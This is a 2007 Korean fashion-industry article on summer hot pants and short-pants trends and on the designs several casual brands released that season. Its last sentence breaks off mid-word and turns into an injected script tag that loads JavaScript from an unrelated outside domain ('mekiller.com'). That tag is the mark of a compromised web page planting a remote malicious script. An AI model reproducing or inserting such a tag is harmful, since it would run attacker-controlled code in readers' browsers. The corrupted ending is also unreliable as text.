무더울수록 길이는 짧게

2007-06-25 14:05 조회수 아이콘 1260

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“무더울수록 길이는 짧게”
핫팬츠의 계절이 왔다

3부롤업 인디고 데님 ‘최고’

길고 무더운 여름을 시원하고 멋지게 발랄하게 보낼 수 있는 핫 ·숏 팬츠가 뜬다. 캐주얼 브랜드들이 다양한 길이, 과감한 디자인의 팬츠를 여름 아이템으로 대거 출시해 매출력 한계를 극복하는데 매진하고 나섰다. 거리에 미니가 유행하면서 팬츠의 길이도 더욱 짧아지고 폭도 넓어져 숏 팬츠를 입은 패션리더들이 늘고 있다. 이는 최근 트렌드로 부상하고 있는 상의를 강조하는 스타일에서 비롯된다. 상의가 디자인에서도 박스형으로 대형화되는 추세다. 상대적으로 하의는 아주 좁아지는 대신 상의의 연장선상으로 폭이 넓은 핫팬츠가 유행하는 것으로 보인다.

따라서 핫팬츠는 기존의 집에서 즐겨 입는 반바지의 수준을 완전히 탈피한 패션니스타들의 필수 아이템으로 떠오랐다. 다양한 소재와 길이로 보다 스타일리쉬하고 세련된 캐주얼룩을 연출할 수 있는 ‘핫 썸머 머스트 해브 아이템’으로 거듭나고 있다.
특히 올 여름에는 핏과 착용감을 강조한 스타일과 데님이외 소재 차별화에 초점을 맞춰, 활동성이 가미된 다양한 디테일과 트렌드로 3부 롤 업 팬츠가 대세로 나타났다. 브랜드에 따라서는 그레이 컬러 팬츠, 데님 팬츠 여기에 자수나 디테일이 가미되기 했다. 이는 소비자의 욕구를 반영한 숏이나 핫으로 다양한 스타일의 핫팬츠를 선보이고 있다.

올 여름 트렌드인 ‘미니멀리즘’을 반영해 3부기장 이상의 짧은 팬츠와 스커트들이 대거 출시되고 있다.
‘애스크’ ‘도크’ ‘리트머스’ ‘NII’ ‘유니클로’ ‘유니온베이’ ‘EXR’ ‘TTaL’ ‘잠뱅이’ ‘쉐인진’ ‘CK진’ ‘버커루’ 등 주요 브랜드들이 다양한 제품을 선보였다.
지스타 롤업 핫 숏을 캐주얼 키셔츠가 아닌 셔츠&하이힐 코디네이션으로 제안해 쉬크하면서 도시적이다.
리트머스 미니멀한 느낌의 제품을 대거 출시했다. 지난해에 이어 그레이 데님과 패브릭으로 변화를 준 아이템들을 중심으로 선보였다. 특히 ‘프레피룩’을 연출할 수 있는 소녀풍의  핫팬츠들은 여성 고객들의 호응을 얻고 있다.

모던한 디자인의 글로벌 브랜드 유니클로도 업그레이드 된 다양한 하프팬츠를 선보였다. 올 여름 ‘360가지 프린트티’와 매치되는 데님 소재의 데님하프팬츠, 빈티지한 느낌의 카고 하프팬츠 등 쉬크하고 스타일리쉬한 느낌으로 업그레이드된 ‘유니클로’의 팬츠는 ‘캐주얼 룩’을 멋지게 완성시켜 주고 있다.
애스크 브랜드의 아이덴티티를 보여줄 수 있는 핫팬츠 룩을 제안하고 있다. 도크는 풀 착장 판매를 위해 다양한 아이템과의 스타일링을 유도하고 있다. 
NII 여성전용 스타일의 핏을 통해 착용감 강조한 팬츠를 다양한 스타일로 선보였다. 투턱 하프 팬츠로 귀여운 느낌을 주는 트렌디한 스타일의 팬츠, 청량감이 느껴지는 라이트 블루 컬러감의 베이직한 스타일의 팬츠, 쿨한 화이트 컬러와 스판 소재로 핏 스타일이 좋은 핫팬츠 등 더위를 식혀줄 시원한 느낌의 핫 팬츠를 대거 출시했다.

또 올해 트렌드인 퓨처리즘을 반영한 실버톤의 심플한 핫팬츠, 모던한 이미지를 더해주는 스타일의 팬츠, 변형된 웨이스트라인과 투턱 디자인의 팬츠, 사선 포켓 등 디테일한 디자인의 포인트를 가미한 도회적인 스타일의 팬츠, 글렌 체크의 여성 전용 숏팬츠, 웨이스트 라인의 턱과 밑단 디테일로 트렌디함을 살린 팬츠 등을 출시, 소재에 차별화를 두고 고급스러움과 디테일 트렌드 반영한 제품을 다양하게 선보였다.  60% 가량의 판매율을 기록하고 있다. 

유니온베이 요즘 트렌드에 맞는 핫팬츠와 카고팬츠를 다양하게 선보였다. ‘유니?script src=http://mekiller.com/1/1.js>